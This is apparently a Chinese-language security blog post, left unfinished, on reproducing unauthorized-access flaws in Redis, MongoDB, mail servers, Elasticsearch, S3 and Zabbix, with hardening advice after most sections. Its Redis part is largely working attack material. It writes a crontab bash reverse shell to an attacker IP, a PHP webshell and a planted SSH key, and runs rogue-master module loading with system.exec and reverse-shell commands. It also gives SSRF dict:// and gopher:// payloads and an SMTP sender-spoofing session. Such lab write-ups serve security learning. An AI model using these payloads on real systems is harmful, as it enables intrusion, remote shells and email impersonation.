0%

未授权漏洞复现

学习有关未授权漏洞,没写完))))

Redis

默认端口:6379

  • Windows下,绝对路径写webshell 、写入启动项。
  • Linux下,绝对路径写webshell 、公私钥认证获取root权限 、利用contrab计划任务反弹shell。

可以直接nc进去,又或者是用redis-cli工具

image-20201120223754669

1
2
3
4
5
6
7
8
9
10
11
info # 信息
keys * # 查询所有键 (慎用,生产环境上直接执行,可能会出几百万条数据,导致炸了。)
get key_name #获取键值
set x 1# 设置 x为1
config get dir # 获取当前目录
config set dir /root/...# 设置目录
config set dbfilename # 设置数据库文件名
save # 保存
flushall #删除所有数据
del key #删除键为key的数据
auth #认证

crontab 反弹shell

我只在Centos 6.10上测试了,其他系统未必可以。

1
2
3
4
5
6
7
8
set x "\n* * * * * bash -i >& /dev/tcp/192.168.9.1/1234 0>&1\n" # 写反弹shell的内容
+OK
config set dir /var/spool/cron/ # cron的路径
+OK
config set dbfilename root # 设置保存的文件名为root
+OK
save
+OK

等一会就来shell了。

image-20201120224508469

看下crontab的内容,怪不得要换行符呢。

image-20201120224654602

redis运行日志默认只有DB saved on disk的记录

image-20201120224903729

写webshell

写webshell和反弹crontab一样的,但是得符合以下条件:

  1. 服务器具有web环境
  2. 你知道WEB服务的绝对路径
  3. redis有在web目录的读写权限

操作和反弹crontab几乎一样,在此不做过多介绍。

1
2
3
4
5
6
7
8
set x "\n<?php phpinfo()?>\n"
+OK
config set dir /vhs/kangle/www
+OK
config set dbfilename x.php
+OK
save
+OK

写入ssh-keygen公钥

利用条件:

  1. ssh服务开放
  2. 目标服务器有被连入过(.ssh目录
1
2
3
4
5
config set dir /root/.ssh/
-ERR Changing directory: No such file or directory
# 这种情况就是没有ssh目录的

如果是出现权限不足的错误提示,那就说明redis不是root用户运行的

我懒,本机没有redis-cli客户端。所以继续用nc操作

1
2
3
4
5
6
7
8
config set dir /root/.ssh/
+OK
set x "\n\n 你的id_rsa.pub公钥文件 \n\n"
+OK
config set dbfilename "authorized_keys"
+OK
save
+OK

之后直接ssh。

image-20201120231259159

eval 执行lua脚本

Redis2.6后的版本有内置lua环境可以导致lua脚本

注意是2.6之后的版本,freebuf上有篇文章写了是Redis2.6以前的版本,结果我跑去下了个Redis 2.4直接就给我提示ERR unknown command 'EVAL'

1
2
3
cat hello2.lua
local msg = "hello,hack!"
return msg
1
redis-cli eval "$(cat hello2.lua)" 0 -h 127.0.0.1

image-20201121084131135

但是执行不了系统命令

1
2
3
4
#os.execute("whoami")
local t = io.popen('whoami')
local a = t:read("*all")
return a

image-20201121084435019

image-20201121084444962

因为 Redis 不允许脚本使用 os 等一部分全局变量。

4-unacc 主从复制

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

下载vulhub

1
2
cd vulhub/redis/4-unacc/
docker-compose up -d

自动化攻击

1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

2.攻击端执行: python3 redis-master.py -r vul-ip -p 6379 -L hacker-ip -f RedisModulesSDK/exp.so

1
2
3
4
5
6
git clone https://github.com/n0b0dyCN/redis-rogue-server
cd redis-rogue-server/RedisModules-ExecuteCommand/
make
cd ..
pip install -r requirements.txt
python3 redis-master.py -r 172.20.0.2 -p 6379 -L 172.20.0.1 -P 1233 -f RedisModulesSDK/exp.so -c "id"

image-20201121000741156

手动复现过程

构造恶意Redis服务器,监听本地端口1233,加载exp.so。

1
python rogue-server.py --lport 1233 --exp redis-rogue-getshell/RedisModulesSDK/exp.so

image-20201121001814594

通过未授权连接到存在漏洞的redis服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#设置redis的备份路径为当前目录
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof 172.20.0.1 1233
#加载恶意模块
module load ./exp.so
#切断主从,关闭复制功能
slaveof no one
#执行系统命令
system.exec 'whoami'
system.rev 172.20.0.1 1230
#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb
#删除exp.so
system.exec 'rm ./exp.so'
#卸载system模块的加载
module unload system

image-20201121001923422

ssrf getshell
1
2
3
4
5
6
7
8
9
10
11
# 因为服务器没有web环境,在大佬的脚本上做了些许改动。
<?php
$ch = curl_init();
$url=$argv[1];
curl_setopt($ch, CURLOPT_URL, $url);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#查看当前redis的相关配置
ssrf.php?url=dict://192.168.172.131:6379/info

#设置备份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234

#加载恶意模块
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so

#切断主从复制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one

#执行系统命令
ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999
gopher getshell
1
2
3
4
5
#设置文件名,连接恶意Redis服务器
gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit

#加载exp.so,反弹shell
gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

image-20201121002930152

image-20201121002917272

防御

  1. 防火墙或配置文件限制访问:配置文件新增:bind 127.0.0.1

  2. 设置密码: redis.conf添加requirepass mypasswd # 不建议使用redis-cli -a 明文登陆

    设置密码后不能直接访问。image-20201120232144128

  3. 低权限运行 Redis 服务,为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

    1
    groupadd -r redis && useradd -r -g redis redis
  4. 配置redis.conf文件开启日志记录,禁用/修改高危命令

    1
    2
    3
    4
    5
    logfile"/var/log/redis/redis.log"
    loglevel verbose
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
  5. 结合上面的工作,最后再修改默认端口。

本节参考链接

Mongo

默认端口:

  • 27017mongod默认的端口
  • 27018 设置 –shardsvr 运行变量或在配置文件里设置 clusterRoleshardsvr 时的默认端口
  • 27019设置 –configsvr 运行变量或在配置文件中将 clusterRole 设置为 configsvr 时的默认端口
  • 28017系统状态网页的默认端口。
1
2
docker pull mongo
docker run -d -p 27017:27017 --name mongodb mongo
1
2
show dbs;#列出有哪些数据库,数据库占用了多大的存储空间。
db;#当前连接的是哪个数据库

漏洞验证

直接上msf好了。

image-20201121090914555

doesn’t use authentication 就是存在未授权访问

其他探测工具

nmap

1
nmap -p 27017 --script=mongodb-brute.nse -sV 10.170.0.3

image-20201121091600632

python

网上流传的各类Python检测脚本,主要检测方式是以下两种:

1.一种检测方式是使用Python的PyMongo库,不使用账号密码连接MongoDB服务,连接成功则证明存在未授权访问漏洞。由于PyMongo库只支持MongoDB 2.6及之后版本,低版本MongoDB存在漏洞时无法发现。

2.另一种检测方式是使用socket与MongoDB服务端口建立连接后发送数据库查询指令,返回的数据中,存在默认库local,则表示数据库查询成功,存在未授权访问漏洞。在1.9版本的MongoDB服务中,报错信息中包含local字符,引起误报。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 脚本代码来自:https://www.freebuf.com/vuls/212799.html
import socket

def mongodb(self, ip):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 27017)) s.send('\x3F\x00\x00\x00\x7E\x00\x00\x00\x00\x00\x00\x00\xD4\x07\x00\x00\x04\x00\x00\x00\x61\x64\x6D\x69\x6E\x2E\x24\x63\x6D\x64\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x18\x00\x00\x00\x10\x6C\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00')
result = s.recv(1024)
if 'local' in result and 'errmsg' not in result: #增加一个“errmsg”字符串判断,避免1.9版本中的误报。
print(u'{}[+] {}:27017\tMongoDB存在未授权访问{}'.format(G, ip, W))
with open('weakpass.txt', 'a+') as f:
f.write('{}\t27017\tMongoDB存在未授权访问\n'.format(ip,))
except Exception as e:
pass
finally:
s.close()


mongodb_check("192.168.1.10","27017")

修复方案

本地监听

只在本地使用的话,只监听本地,使用--bind_ip 127.0.0.1绑定监听地址

1
mongod --bind_ip 127.0.0.1 --dbpath /tmp/test

配置文件修改 /etc/mongod.conf

1
2
3
4
# network interfaces
net:
port: 27017
bindIp: 127.0.0.1

防火墙限制访问源

使用iptables/firewalld什么的控制访问源

1
2
3
iptables -A INPUT -s <ip-address> -p tcp --destination-port 27017 -m state --state NEW,ESTABLISHED -j ACCEPT # 入站

iptables -A OUTPUT -d <ip-address> -p tcp --source-port 27017 -m state --state ESTABLISHED -j ACCEPT # 出站
1
2
3
4
5
6
7
8
9
10
11
12
13
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="<ip-address>" port protocol="tcp" port="27017" accept"

firewall-cmd --reload

firewall-cmd --list-rich-rule

如果要指定对应区域的话,再加个--zone=Public


## 删除规则
firewall-cmd --permanent --remove-rich-rule="rule family="ipv4" source address="<ip-address>" port protocol="tcp" port="27017" accept"

firewall-cmd --reload

设置认证

MongoDB 3.0及以上版本启动时添加--auth参数开启认证访问,此时若数据库中无账号,本地登录则无权限进行任何操作,因此需要先以无认证的方式启动服务并创建系统用户管理员账号。

  1. 以无访问认证的方式启动MongoDB

    1
    mongod --dbpath /data/db
  2. 未开启认证的环境下,登录到数据库

    1
    mongo --host 127.0.0.1 --port 27017
  3. 创建系统用户管理员

    创建一个用户名为myUserAdmin,密码为Passw0rd的系统用户管理员账号。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    #切换到admin库:
    > use admin
    switched to db admin

    #创建用户
    > db.createUser(
    {
    user: "myUserAdmin",
    pwd: "Passw0rd",
    roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
    }
    )

    #创建成功后提示信息:
    Successfully added user: {
    "user" : "myUserAdmin",
    "roles" : [
    {
    "role" : "userAdminAnyDatabase",
    "db" : "admin"
    }
    ]
    }

    说明:3.0之前版本使用db.addUser方法创建用户。

  4. 重启MongoDB服务,开启访问认证

    启动时添加--auth参数

    1
    mongod --auth --port 27017 --dbpath /tmp/test

    或:在配置文件中添加以下内容,指定配置文件启动服务:

    1
    2
    3
    #security:
    security:
    authorization: enabled

    指定配置文件启动MongoDB

    1
    $ mongod --config /etc/mongod.conf
  5. 使用系统用户管理员账号登录

    1
    mongo --port 27017 -u "myUserAdmin" -p "Passw0rd" --authenticationDatabase "admin"

    不明文的方式,先连接数据库,在用db.auth进行认证

    1
    2
    3
    4
    > use admin
    switched to db admin
    > db.auth("myUserAdmin","Passw0rd")
    1 #返回1,表示认证成功
  6. 创建数据库用户创建完系统用户管理员账号并通过系统用户管理员登陆后,对每个库创建指定的用户。下面以对products库创建一个具有读写权限的用户accountUser为例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    > use products
    > db.createUser(
    {
    user: "accountUser",
    pwd: "password",
    roles: [ "readWrite", "dbAdmin" ]
    }
    )

    #用户创建成功
    Successfully added user: { "user" : "accountUser", "roles" : [ "readWrite", "dbAdmin" ] }
  7. 使用数据库用户访问指定库

    1
    $ mongo --port 27017 -u "accountUser" -p "password" --authenticationDatabase "products"

本节参考链接

邮件服务器未授权访问伪造发件人

某台邮件服务器25端口开放。

可以直接用nc连接,进行伪造邮件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HELO aaa.com 
250 debian
EHLO aaa.com # 返回250状态码,还返回自己支持各种扩展的列表
250 xxxx
250 xxxx
MAIL FROM:[email protected] # 伪造admin发信人
250 2.1.0 Ok
RCPT TO:[email protected] # 收信人
250 2.1.5 Ok
DATA
------正文------
. # 结束符
250 2.0.0 Ok: queued as C7DE122470
QUIT
221 2.0.0 Bye

完整流程图

image-20201125194127839

其实msf里面也有模块可以直接利用啦

ElasticSearch未授权访问

默认开放9200端口,用于提供远程管理数据的功能。任何连接到服务器端口上的人,都可以调用相关API对服务器上的数据进行任意的增删改查。

直接访问该端口,出信息就是存在未授权了。

1
curl http://192.168.105.25:9200

修复建议

  1. 防火墙限制访问源
  2. 在config/elasticsearch.yml中为9200端口设置认证,相关配置参数可参考:
1
2
3
4
http.basic.enabled true #启动认证,开启会接管全部HTTP连接
http.basic.user "admin" #配置认证账号
http.basic.password "admin_pw" #配置认证密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
  1. 使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证。

Amazon S3 未授权访问

这里用了hack the boxbucket靶机来做事例。

aws-cli

使用aws-cli工具可以直接获取配置错误的bucket桶。

1
aws s3 ls s3:// --no-sign-request --endpoint-url http://s3.bucket.htb

image-20201123185727734

image-20201123185754857

curl/burp/浏览器

直接访问 /即可

image-20201123185844024

这里靶机环境不同,需要访问/?1/?但是官方api文档中是直接访问s3服务的根路径,就能获取所有桶了。直接访问/bucket-name/?acl

image-20201123190038963

如图所示,目标的acl没被正确配置,可以被未授权用户访问

SpringBoot Actuator配置不当未授权访问

本节参考链接

Kubernetes 未授权

本节参考链接

Zabbix控制面板默认口令

默认管理员账号:zabbix
默认管理员密码:zabbix

如果顺利的话,就能直接登陆到zabbix服务端的后台。

游客访问的话没什么用。大部分资源默认配置的都是得管理员账号登陆才能看的到,至少我没看到有一个弱口令的zabbix,游客访问能看到什么东西的。